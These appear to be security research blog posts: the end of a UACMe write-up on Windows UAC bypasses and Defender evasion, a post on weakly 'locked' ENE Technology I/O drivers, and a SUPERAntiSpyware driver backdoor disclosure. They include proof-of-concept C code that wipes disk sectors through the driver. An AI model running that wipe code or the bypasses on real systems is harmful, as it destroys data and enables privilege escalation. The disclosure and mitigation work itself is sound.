3) WD detection bypass

No needed, see above.

4) Lazy fix for WD

Can be entirely prevented by WD inspecting environment variables regarding CorPofiler path.

5) Possible fix

mmc.exe should not allow loading of non Microsoft binaries in it address space when run with High IL.

💥Method #41

1) Description

Based on ICMLuaUtil autoelevated COM interface which provides a set of methods that can be used to bypass UAC. It allows running arbitrary executable with High IL, deleting and setting arbitrary registry entries with elevation and more.

2) WD detection

WD has multiple behavior signatures for initially presented script based attacks, for example: Behavior:Win32/CICmstp, Behavior:Win32/UacCmstp, Behavior:Win32/SuspParentLaunchingLOLBin, Behavior:Win32/CmstpSuspParent and variants of them. Unfortunately they are completely incapable of preventing this method when it used as it should be. They only signatured script-kiddie junk. Why is that read next. Meanwhile this method is somewhat popular in malware because of it simplicity in raw mode.

3) WD detection bypass

No needed.

4) Lazy fix for WD

This interface is a backdoor by design. It is fully controllable by attacker with attacker defined components and huge space for maneuver. It is hard to trace behavior as it can be various and unpredictable. You can however trace when this interface used for legitimate purposes, log it behavior and compare this trace with occurred event. It doesn't look very reliable however.

5) Possible fix

Remove this interface from COMAutoApprovalList. This will force UAC to show dialog each time this interface called.

💥Method #43

1) Description

This method is a combination of #41 which is used to write arbitrary data to the Windows Registry and another undocumented autoelevated interface called
IColorDataProxy. Main idea here - write custom calibrator setting to the HKLM\Software\Microsoft\Windows NT\CurrentVersion\ICM\Calibration @DisplayCalibrator and then run it by calling autoelevated IColorDataProxy interface method LaunchDccw. Interface will read custom calibrator value and start this program via ShellExecuteEx call doing that on High IL.

2) WD detection

Not capable (as of 26 Sep 2020).

3) WD detection bypass

No needed.

4) Lazy fix for WD

Detect write to HKLM\Software\Microsoft\Windows NT\CurrentVersion\ICM\Calibration at value @DisplayCalibrator. May cause problems if this feature used somewhere legitimately.

5) Possible fix

This won't work without writing to the registry which is provided by ICMLuaUtil interface. Removing it from COMAutoApprovalList will automatically block this method too.

💥Method #52

1) Description

This method currently popular ITW because of it simplicity so even zero skill malware authors may embed it to their elite dotnet droppers. Idea behind it is to abuse appinfo design flaw where Win32 API GetLongPathName due to it specific is converting supplied fake security directory path to the real one thus passing further internal check against secured directories whitelist. There at least two variants of these method used ITW - original and my - involving reparse points, exactly it is used by WastedLocker ransomware. They mostly copy-pasted it as is from UACMe with their set of ridiculous additions.

2) WD detection

Not capable (as of 26 Sep 2020).

3) WD detection bypass

No needed.

4) Lazy fix for WD

Detect directory creation, mount point creation. It should not be that hard as this method require trusted directory name abuse.

5) Possible fix

This needs to be patched in appinfo. Get rid of Win32 API when converting file path. It is ridiculous combination having Win32 API path conversion for path check.

💥Method #53

1) Description

This method is similar to #33. The only difference is the target key and application. Target key here is HKCU\Software\Classes\Folder\shell\open\command @Default value (+DeletegateExecute as usual) and trigger is sdclt.exe

2) WD detection

WD is capable to detect this. Dedicated signatures named Behavior:Win32/UACBypassExp.F!sdclt(2)(3)(4)(src). Writing (direct or indirect) to that key default value triggers detection.

3) WD detection bypass

Similar to #33

4) Lazy fix for WD

#Similar to #33

5) Possible fix

#Similar to #33

💥Method #55

1) Description

It is UIPI bypass with UIAccess application primary token duplication. Duplicated token next modified to have Medium IL and used to create second stage process. Because this process created with token that has UIAccess flag set this process will be able to circumvent UIPI. As second stage process UACMe uses Fubuki unit modified in the runtime to be standalone executable. When started Fubuki will spawn msconfig.exe at Tools page. Next it will identify ListView window and use SendInput API to navigate to the "cmd.exe" entry in the tools list and simulate button click. After that it will wait for console window and type specified command to it running actual payload. This is a complex method that is not really reliable in the real life and was added just for fun as I really liked the concept.

2) WD detection 

Not capable (as of 26 Sep 2020).

3) WD detection bypass

No needed.

4) Lazy fix for WD

I would detect all kind of Medium IL processes running with UIAccess flag set as malicious just because it against Windows behavior as normal UIAccess application always has >= Medium+ integrity level.

5) Possible fix

Remove UIAccess from token if it duplicated from Medium+ IL from a process with Medium IL. This need actual investigation as there could be unexpected side effects.

💥Method #56

1) Description

This method is similar to #33. The only difference is the target key and application.Target key here is HKCU\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\shell\open\command @Default value (+DeletegateExecute as usual) and trigger is wsreset.exe

2) WD detection

WD is capable to detect this. Dedicated signatures named Behavior:Win32/UACBypassExp.F!wsreset(2)(3)EF. Writing (direct or indirect) to that key default value triggers detection.

3) WD detection bypass

Prepare target key structure somewhere else and rename it key component to actual name before running target.

4) Lazy fix for WD

Additionally to #33 detect rename key event.

5) Possible fix

#Similar to #33

💥Method #58

1) Description

Based on IEditionUpgradeManager autoelevated COM interface. This interface has method called AcquireModernLicenseWithPreviousId. During execution it starts Clipup.exe process from (what it suppose) windows system32 folder. It uses %windir% environment variable(sic!) to build path to that executable. Thus you can set your own %windir% variable and this code will use it to build a path with your controlled location in it.

2) WD detection

Not capable (as of 26 Sep 2020).

3) WD detection bypass

No needed.

4) Lazy fix for WD

Same as #34

5) Possible fix

Cheap and easy fix - get rid of environment variables from Win95 era and build a proper path to clipup.exe by using, surprise - surprise! GetSystemDirectory.

💥Method #59

1) Description

This method abuses debug objects to achieve elevation through appinfo direct talking via RPC. It is complex and non trivial. While it is using same RPC request as #38 it is completely different in implementation and bug/feature it abuses. At first stage we create non elevated process with RPC request and supplying DEBUG_PROCESS flag in process startup parameters. When appinfo processes our launch process request it uses CreateProcessAsUser API which automatically will create debug object if DEBUG_PROCESS is specified in process startup flags. The handle for this debug object will be stored inside TEB reserved field. All processes created by the same thread will share the same debug object. Note that appinfo uses thread pool so it could make sense to spam it with requests to fill it all. We capture debug object with NtQueryInformationProcess(ProcessDebugObjectHandle) call, detach debugger with NtRemoveProcessDebug and kill our first process - it was only needed to allocate debug object on appinfo side. On the next stage we run autoelevated process again with help of direct RPC call and set thread debug object to our saved one. Next we process standard debugging message loop looking for CREATE_PROCESS_DEBUG_EVENT. Once hit we capture process handle from event and duplicate it with PROCESS_ALL_ACCESS desired access rights. Then resulting handle used to create final payload process with help of CreateProcess and PROC_THREAD_ATTRIBUTE_PARENT_PROCESS.

2) WD detection

Not capable (as of 26 Sep 2020).

3) WD detection bypass

No needed.

4) Lazy fix for WD

Detect parent process creation.

5) Possible fix

This need a fix on appinfo side. Perhaps you could ensure that there is no debug object set when creating a High IL process by request from Medium IL.

💥Method #61

1) Description

This method is similar to #33. The only difference is the target key and application. Target key here is HKCU\Software\Classes\Launcher.SystemSettings\shell\open\command @Default value (+DeletegateExecute as usual) and trigger is slui.exe which is started with runas verb.

2) WD detection

WD is capable to detect this. As detection it will show you one of the previously highlighted behavior signature names used in similar methods as they cross check this method. Writing (direct or indirect) to that key default value triggers detection.

3) WD detection bypass

#Similar to #33

4) Lazy fix for WD

Similar to #33

5) Possible fix

Similar to #33 

💥Method #63

1) Description

This method is relatively new. It uses dll injection to the Windows Native Image Cache (NIC), forces it to be used and then exploits by running Windows Firewall MMC snap-in. Files in NIC are accessible to Administrators group so we can reset their security permissions (by using ISecurityEditor autoelevated COM interface) and after that overwrite file contents with your payload. Required target file for overwrite located by searching in installed assemblies and comparing MVID (Module Version Id) of files.

2) WD detection

Not capable (as of 26 Sep 2020).

3) WD detection bypass

No needed.

4) Lazy fix for WD

Detect write event to NIC from Medium IL process.

5) Possible fix

Administrator group should not have write access to NIC directory and it contents.

P.S.

Of course the best and lazy way to circumvent everything from above is not use Administrator group account at all. I'm not talking about AlwaysNofity UAC setting because as proven by time it is useless. However I would like to point that current Windows eco system evolved from Windows XP times with deep rejection of UAC since Vista fuckup. Thus, no matter what you tell or want, default account still will have administrator group. Idiotic shield icon doesn't help a lot too giving people sort of placebo. Nothing from above is a rocket science or require millions of dollars for fix. Fix your leaky shield.

As of UACMe 3.5 I've no further plans to fight WD next wave of signatures by giving them free help. I have no doubt they will implement more and more measures against UAC bypasses in future, not necessary against mentioned methods or in the mentioned ways. It doesn't really matter and personally I don't care. What I wanted to show - is that if someone want to bypass WD behavior signature - it will highly likely do this without significant problems.

If something new, creative and working will be discovered - it will be added in UACMe 3.5+ versions. Old 3.2.7 branch will be still available but without any further support from my side. Speaking about new, creative and working methods - see P.P.S. next.

P.P.S. Comedy Section Bonus

Every year you can find a lot of junk noise about yet another "uac bypass" involving something with Open/Save/Print what ever dialogs. It is when "hackers" runs some elevated process, then clicks somewhere in it menu, spawns shell dialog and runs programs from it through menu. Woohoo, Windoze Byp@$$3d M1cr0$0ft SuXx! Or another example is some modification in system that must be triggered by manual clicking somewhere in target application running at High IL.  

Nothing from this is UAC bypass as it require massive user interactions with UI and target applications have High IL preventing GUI hacking. That doesn't mean you can't do GUI hacking at all - method #55 proves it is possible, however NONE of these elite hackers are even close to something like that, because it is simple not their level. Any of such posts are just attention whoring and nothing else. If you can't automate your "bypass" it is not a bypass otherwise I'm giving you ultimate UAC bypass working with AlwaysNotify - select an executable file on disk, right click on it - press "Run as Administrator", when UAC window popup - confirm it. Ultimate "bypass" done, probably needs a video to be recorded, ROFL.

Another kind of attention whore scam release their ultimate "private" tools (together with snot with bubbles) claiming old well known methods as something they used "privately" for "years" and now "released to the public", because they, you know, "s3curity r3s3arch3rs" (just like that funny guy who managed to copy-paste from everywhere without understanding what he copy-paste).

Microsoft has determination of what they consider security boundary and what is not. UAC as you guess - is not a boundary, we can go to usual demagogy here, but that is the fact. This is one side of the medal. From the other side, malware usually need this not only as a some bonus but as critical for it viability. So you have a dilemma - some broken mechanics you don't consider as worth looking at and real malware taking this as essential part. Because of that you always will have a lot of noise around UAC. Unfortunately most of this noise will come from typical internet idiots (included in target audience of malware and most of malware developers).

Unfortunately both types of mentioned guys does a lot of white noise each year which makes it harder to find real methods as you have to filter out tons of such trash. Don't be like them. While maybe not that sophisticated and complicated UAC is still part of Windows and integrated to the system. It is not about OpenDialog. The better you understand Windows internals the better you understand how UAC works and it weakness (and the more you laugh at yet another idiot with OpenDialog). Aside of this some of these bypasses are usually accompaned by various different mechanics, algorithms and internals that need to be researched. 

There is a still a lot of possible real UAC bypasses undiscovered since this system mechanics is entirely broken in many ways and these methods are just waiting to be exploited.

References

All the links to the original authors descriptions are provided at UACMe page and inside source (where available). Make sure to visit and view original authors content if you like their methods. Also note that actual UACMe implementation of their methods maybe different from original.

1. UACMe - https://github.com/hfiref0x/UACME

"ENE Technology Inc" - vulnerable drivers global provider

By: hfiref0x
13 August 2020 at 10:41

Intro

Pic 1. Official logo.

ENE Technology Inc is a Taiwan based company founded in 1998. According to their website hxxp://www.ene.com.tw/index-en.php and Bloomberg summary:

ENE Technology Inc. develops, manufactures, and markets IC (integrated circuit) products. The Company's products include application-specific integrated circuits (ASICs), controller ICs for power switches, and notebook keyboards. 

However most of you will probably know them by piece of software - a ridiculously bugged driver bundle that ships with multiple software products of variety of hardware vendors, including but not limited to MicroStar, MicSys, ASUS, ASRock and some others. It is written by a very interesting developer(s) and I believe it is the same for all multiple variants of this driver bundle. The figure(s) behind this driver is awesome as I encounter their "creativity" multiple times and each time they manage to surprise me in a way when you expect that it can't be worse. 

Lets say what will happen when you hire someone with mediocre C-language understanding, who discovered official documentation just in 2020 but has a great google search skills? Nothing really bad, most of AV companies are full of such people (its a joke), but at least they have someone who can control them. ENE Technology Inc software products that will be discussed next is an example of what happens when no one control such people and their "creativity".


It's all about I/O

 

When it comes to hardware vendors giveio type drivers in 90% it is all based on three main sources:

  • Windows DDK samples that are dated back to Windows NT 3.51 (hello Unwinder);
  • WinRing0 open sourced library by hiyohiyo (CrystalMark author);
  • WinIO open sourced library by Yariv Kaplan (from internals.com).

Just a coupe of bugs inside these sources:

  1. No requestor access rights check - all driver devices are created with default security descriptor meaning everyone have read/write access to them;
  2. No input parameters checking or they are insufficient/incorrect - easy way to crash your system from any user;
  3. Unrestricted functionality - you can read/write anywhere, any ports, MSR's.

Currently hardware vendors are mostly blatantly copy-paste from these sources with minimal changes, if any. Sometimes their drivers contain functionality their products does not need at all. 

Reasons why this is a bad approach:

  • All of the above were created without any kind of security in mind. It was forgivable to old DDK samples but totally inappropriate for everything else. So this code is failure by design and created with Windows XP in mind;
  • Original codebase contain obvious programming mistakes - HW vendors mostly don't care and rarely fix anything.

It is a common trend for almost EVERY gaming hw vendors available today.

Pic 2. Choose your exploits provider.

When it comes to ENE Tech Inc drivers they are based on WinIO of 3.0 version. My first encounter was ASUS GLCKIo2 driver. 

Pic 3. ASUS locked GLCKIo2 driver.
 

It was all about same copy-pasta, but with ridiculous addition. This driver was "locked" for non trusted application access. This mean you have to "register" yourself as a good caller before doing any other job with this driver. This is fascinating - author more worried about who will be using his driver more than quality of driver code he copy-pasted. The "unlocking" process of GLCKIo2 driver was the following:

  1. In client application - call GetCurrentProcessId(), modify result with SWAP_UINT32 macro;
  2. Copy result to local 16 bytes length buffer;
  3. Encrypt this buffer with AES ECB, using TinyAES open source code, as key they used slightly modified values found in Google search (😎);
  4. Call driver with special IOCTL passing encrypted buffer as input parameter;
  5. Driver processes this IOCTL, decrypts buffer (same TinyAES) and extracts PID to remember it in internal list of "trusted" applications;
  6. When other IOCTL called - driver checks if this call is from process with ID in trusted list - if so call allowed, otherwise access denied error will be returned to caller. 

It is merely a joke than anything else. Full unlocking -> https://gist.githubusercontent.com/hfiref0x/3d46c012eb6cffcba34f0006d38e5165/raw/b2792823f85bdd4d5a91a8c802d6f57320ad2cc1/GLCKIo2.c

Next I found ENE.sys driver signed with "Ptolemy Tech Co" certificate. It was based on WinIO but missing all these locking features. Curiously enough it contain the following pdb string: d:\winglckio_20180320\amd64\EneIo.pdb

Pic 4. ENE lock free variant.
 

It is hard to tell which one was the first, but ASUS lock feature may have explanation. Well, ASUS drivers were loved target for CVE scalpers - easy to get and sort of "addition" to infosec portfolio. If you google for GLCKIo driver you will find a lot of CVE noise around it, for example https://seclists.org/fulldisclosure/2018/Dec/34. With initial discovery in the end of 2017. So we can assume that this GLCKIo2 is a sort of response.This could explain caller registration introduction and code base switch. As "fix" it is pathetic and fixes nothing. This is not an ASUS only fault - all the above mentioned companies does the same. In general they give zero fuck about security of their customers, especially MSI.

Looking for more ASUS bugged drivers (there are LOT of them) I found an interesting coupe next. AsIO.sys (device name Asusgio) and AsIO2.sys (device name Asusgio2). First driver is an old standard copy-paste which has CVE noise assigned, second one is from our beloved ENE Tech Inc coders.

Pic 5. AsIO2 from our friend.
 

Specific code similarities found inside both drivers led to idea that they are both created by same author/team. It is slightly modified WinIO codebase (no bugs fixed, instead added more chaos) with another "driver lock", implemented in unusual way. The unlocking is only allowed from process that has specific PE resource inside named "ASUSCERT". That is how it generated:

  1.  Query current timestamp with GetSystemTimePreciseAsFileTime;
  2.  Convert it to seconds since 1970;
  3.  Copy value to 16 bytes length buffer and encrypt it using AES ECB (TinyAES again);
  4. AES key again found in Google search and slightly modified;
  5. Move result encrypted buffer to PE resources as "ASUSCERT" (without quotes).


When caller does request to the driver (any IRP_MJ_*) driver will query full image path of the caller, read file into buffer and parse for PE timestamp and RCDATA resource named ASUSCERT, decrypt it and extract timestamp. Next AsIO2 will check if the difference between PE timestamp and decrypred timestamp < 7200 (2 hours). If it is - then caller will be allowed to use driver. Thus to be able use this driver you just need a properly generated resource.

 

This obviously can't be threatened as security fix. 

Pic 6. Very secure, very fixed AsIO2.sys
 

Using same pattern I found several other drivers. For example driver called EneTechIo.sys (E:\GitSourceCode\Ene\SmbusSDK\driver_src\EneIo\x64\Release\EneIo.pdb)

Pic 7. EneTechIo driver from TOUGHRAM software bundle.
 

WinIO based, locked driver as usual. However they again changed unlocking algorithm. Instead of using PE resource they now passing encrypted buffer directly in each driver call as part of input data structure. Every payload driver function now checks if the call time within a small time window (few seconds). Unlocking it looks like this:

 

Worth to mention some debug version of Ene driver. It is lock free, has multiple DbgPrint's and contain the following pdb string (d:\winglckio_20180320\amd64\EneIo.pdb).
 

As of recent EneTechIo driver from fresh up-to-date of this post MSI Dragon Center bloatware (E:\GitSourceCode\IoAccess\SmbusSDK\driver_src\EneIo\x64\Release\EneIo.pdb).

Pic 8. EneTechIo from MSI Dragon Center (May 2020)

Key changes:

  1. TinyAES is no longer used, they switched to CNG (maybe also found it while doing usual Google searches for copy-pasta ready code);
  2. MSR related code removed;
  3. Introduced new requestor whitelisting check.

Driver setups image load notify callback (PsSetLoadImageNotifyRoutine) and looks for event when SB_SMBUS_SDK.dll is loaded. Note that name of dll is case sensitive. This dll is an API layer for interacting with EneTech driver. If filename contains SB_SMBUS_SDK.dll then driver will register process by it ID extracted from notify callback. No further checks implemented, so basically you can create dumb empty dll with SB_SMBUS_SDK.dll name, load it in your process and this driver will register you as trusted caller. Everything else will be the same as AES encoding mode is same and their implementations of course has no differences.

Code to unlock -> https://gist.githubusercontent.com/hfiref0x/bff37d328cb16d3df92f8743b4b054ca/raw/595531f209771943cecce799afd954029ba02b80/enetech_new.c

ENE Tech Inc authors doing everything possible (for them) to complicate their driver usage by third-party actors. Instead of fixing generic WinIO "bugs and features" they constantly (and with no success) reinventing the wheel.

P.S. Very company, very ENE Technology Inc.

When I found their website in Feb 2020 I was very surprised by it English section, because it was all full of 3rd party web injected links.




Pic 9. Ene website.

 

Hashes:


175eed7a4c6de9c3156c7ae16ae85c554959ec350f1c8aaa6dfe8c7e99de3347

61a1bdddd3c512e681818debb5bee94db701768fc25e674fcad46592a3259bd0

06bda5a1594f7121acd2efe38ccb617fbc078bb9a70b665a5f5efd70e3013f50

9fc29480407e5179aa8ea41682409b4ea33f1a42026277613d6484e5419de374

810513b3f4c8d29afb46f71816350088caacf46f1be361af55b26f3fee4662c3

38c18db050b0b2b07f657c03db1c9595febae0319c746c3eede677e21cd238b0

SUPERAntiSpyware Backdoor SASKUTIL64

By: hfiref0x
1 March 2020 at 15:32

Intro


Pic 1.Official logo that perfectly fits context.

While you probably never used this software you for sure heard about it like 10-12 years ago when it was heavily advertised as ultimate solution to the Windows spyware. From my opinion it always was a digital placebo which was hard to distinguish from typical fake av of that times. And, what a surprise, this software contain a specially designed system level backdoor any local user can use.

Quote from product web-site:

Protect your PC from malicious threats from malware, spyware, ransomware, trojans, keyloggers, and more.

No, it is not capable of that.

 

Drivers


SUPERAntiSpyware has a few kernel mode drivers in it typical x64 installation, no matter Free or Pro version. These drivers are: saskutil64.sys and sasdifsv64.sys - both have no description so I myself figured out what they do. For x86-32 version these drivers also present as saskutil.sys, sasdifsv.sys, however they contain much more functionality and have several unfixed CVE assigned: CVE-2018-6471, CVE-2018-6472, CVE-2018-6473, CVE-2018-6474, CVE-2018-6476. Why do I know they are unfixed? Doesn't even need to check the code - all drivers compiled and signed NINE years ago in 2011 😊 Honestly I think they either lost drivers source code or lost their developers who can refactor code and fix mentioned bugs. Plus SUPERAntiSpyware itself has EoP CVE-2018-6475. Very cool already isn't? Seems SUPERAntiSpyware era ended together with Windows XP EOL, F. The 32bit drivers are pure BSOD/EoP generators and it was already mentioned like 10 years ago here -> https://seclists.org/fulldisclosure/2010/Mar/195 However it is all not so important or useful because it apply to 32bit version. 

In x64 version all devices in all drivers have default security descriptor and can be accessed for read/write by everyone. We are looking for something that can be useful for us, extra functionality we can use later in different project(s).

First driver I took was sasdifsv64.sys, it does nothing as "driver" (despite having device object and symbolic link) and it only purpose is to execute two procedures at entry point. Purpose of them - read list of files from dedicated registry subkey and either delete or move them. This is a typical shitcode solution often seen in low quality products.

Backdoor


Saskutil64 is much more interesting. It has a single IOCTL 0x9C402140 and it has unexpected functionality. This IOCTL handler invokes function I called "SaskCallDriver" which purpose is to build synchronous I/O write request and send it to device specifed by user by name. This function works with user mode supplied buffer of the fixed size that is a structure defined as:

typedef struct _CALL_DRV {
    WCHAR DeviceName[2048];

    LARGE_INTEGER StartingOffset;      
    SIZE_T DataSize;                   
    PVOID DataPtr;          
} CALL_DRV, * PCALL_DRV;


This structure declaration is self explaining, DeviceName should be fully qualified name of the device and DataPtr is a pointer to buffer located in user mode. The SaskCallDriver function bugged itself as it misses error handling in critical parts of the code and wrong data from user mode can easily result in system denial of service. Reconstructed source code of function below, note multiple bugs which can only be made by totally incompetent developers:

NTSTATUS SaskCallDriver(PIRP Irp)
{
    CALL_DRV* CallDrvStruct;
    PVOID writeBuffer;
    IRP* writeIrp;
    UNICODE_STRING deviceString;
    IO_STATUS_BLOCK statusBlock;
    KEVENT waitEvent;
    PDEVICE_OBJECT deviceObject;
    LARGE_INTEGER startingOffset;
    PFILE_OBJECT fileObject;

    CallDrvStruct = (CALL_DRV*)Irp->AssociatedIrp.SystemBuffer;

    __try {

        //
        // This entire part makes no sense because IOCTL has transfer type METHOD_BUFFERED.
        // Thus pointer will always be kernel mode and this code will never be executed.
        //
        if ((ULONG_PTR)CallDrvStruct < 0x8000000000000000)
        {
            ProbeForRead(CallDrvStruct, 4120, 1);
            ProbeForWrite(CallDrvStruct, 4120, 1);
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {

        return STATUS_ACCESS_VIOLATION;

    }

    __try {

        writeBuffer = CallDrvStruct->DataPtr;

        //
        // This address comparison check ruins ProbeFor* functionality.
        // If invalid kernel address will be passed it won't be checked and code later will bugcheck.
        //
        if ((ULONG_PTR)writeBuffer < 0x8000000000000000)
        {
            ProbeForRead(writeBuffer, CallDrvStruct->DataSize, 1);
            ProbeForWrite(CallDrvStruct->DataPtr, CallDrvStruct->DataSize, 1);
        }

    }
    __except (EXCEPTION_EXECUTE_HANDLER) {

        return STATUS_ACCESS_VIOLATION;

    }

    RtlInitUnicodeString(&deviceString, CallDrvStruct->DeviceName);

    IoGetDeviceObjectPointer(&deviceString, 0x80, &fileObject, &deviceObject);  // No check of API call

    startingOffset = CallDrvStruct->StartingOffset;

    KeInitializeEvent(&waitEvent, NotificationEvent, FALSE);

    writeIrp = IoBuildSynchronousFsdRequest( // No check of API call
        IRP_MJ_WRITE,
        deviceObject,
        CallDrvStruct->DataPtr,
        CallDrvStruct->DataSize,
        &startingOffset,
        &waitEvent,
        &statusBlock);

    writeIrp->Flags = IRP_BUFFERED_IO;

    if (IofCallDriver(deviceObject, writeIrp) == STATUS_PENDING) // This will bugcheck if anything from above failed.
        KeWaitForSingleObject(&waitEvent, Executive, KernelMode, FALSE, NULL);

    return STATUS_SUCCESS;
}


This is pure backdoor by it nature, design and implementation. There is no security checks implemented in driver, it device has default security descriptor, it is also a complete disaster from programming point of view because authors of this code does not understand basics of Windows driver development at all. 

This code gives any local user ability write arbitrary data to the arbitrary device. I took some time looking how SUPERAntiSpyware uses this and it turns out it has NTFS parsing ability, so this IOCTL is used to work with filesystem data, presumable modify existing files/attributes during "spyware removal" procedures. As you can understand the usage of this feature maybe various, from trivial data wipe similar to APTs based on EldoS RawDisk (like for example Dustman) to elevation of privilege through rewriting files on disk. There is no adequate fix for this except removing that functionality completely and thus rewriting this driver from scratch. Below is a demonstration in Windows 10 latest version from regular user account. It is simple data wipe of disk sectors with:

    WCHAR writeData[512];

    memset(&writeData, 0xFF, sizeof(writeData));
    RtlSecureZeroMemory(&request, sizeof(request));

    wcscpy_s(request.DeviceName, L"\\Device\\Harddisk0\\DR0");
    request.DataSize = sizeof(writeData);
    request.DataPtr = (PVOID)&writeData;

    for (ULONG i = 0; i < 65; i++) {

        request.StartingOffset.LowPart = (i * 512);
        printf_s("[+] Writing 512 bytes buffer in DR0 device at offset 0x%llx\r\n", request.StartingOffset.QuadPart);

        ntStatus = CallDriver(deviceHandle,
            IOCTL_SAS_CALLDRIVER,
            &request,
            sizeof(CALL_DRV),
            NULL,
            0);

        printf_s("[+] CallDriver NTSTATUS 0x%lX\r\n", ntStatus);

    }



Pic 2. SASKUTIL device, default security descriptor.

Pic 3. Windows 10 version.

Pic 4. Data wipe in progress.
Pic 5. Data wipe complete.

Theoretically you can even try to send some tcp/udp packets with this thing. Such an ironic end of that SUPERAntiSpyware 😉 All current x64 versions with same driver and functionality are vulnerable - basically you can destroy all data on every PC where SUPERAntiSpyware x64 version installed and do this from any local account.

Since impact of making such information public maybe destructive it was decided notify vendor first. However it turns out they don't have easy ways to do that. In process of trying to communicate it was discovered that this vendor had previously ignored all found exploits for two years and produced series of absolutely inadequate fixes for exploits ten years ago, basically leaving them as is. Taking into account this and the fact that SUPERAntiSpyware as product looks totally obsolete it was decided to make information public. However if you for some unknown reason still use this software see Mitigations part to eliminate your risks. As of new users I highly do not recommend try/consider a purchase this software - this is not only waste of your time/money but also keep it mind you are installing easy to use backdoor on your PC which cannot be easily prevented.

Mitigations


As mitigations I would suggest immediately remove SUPERAntiSpyware and make sure it uninstalled all it drivers - check it files and registry entries. Until vendor will not remove this "functionality" backdoor completely this program should be considered dangerous to use. However history of SUPERAntiSpyware driver exploits shows these drivers are created by incompetent developers who are unfamiliar with Windows drivers development, so only possible good fix - total removal of drivers from this product.

SUPERAntiSpyware driver SASKUTIL64.sys should be blacklisted by file hash or certificate as it can be used by data wiping malware (most obvious and easy use). And don't forget to use latest available Windows 10 with hypervisor enforced code integrity and WD enabled (at least its written by much more competent devs).

❌
❌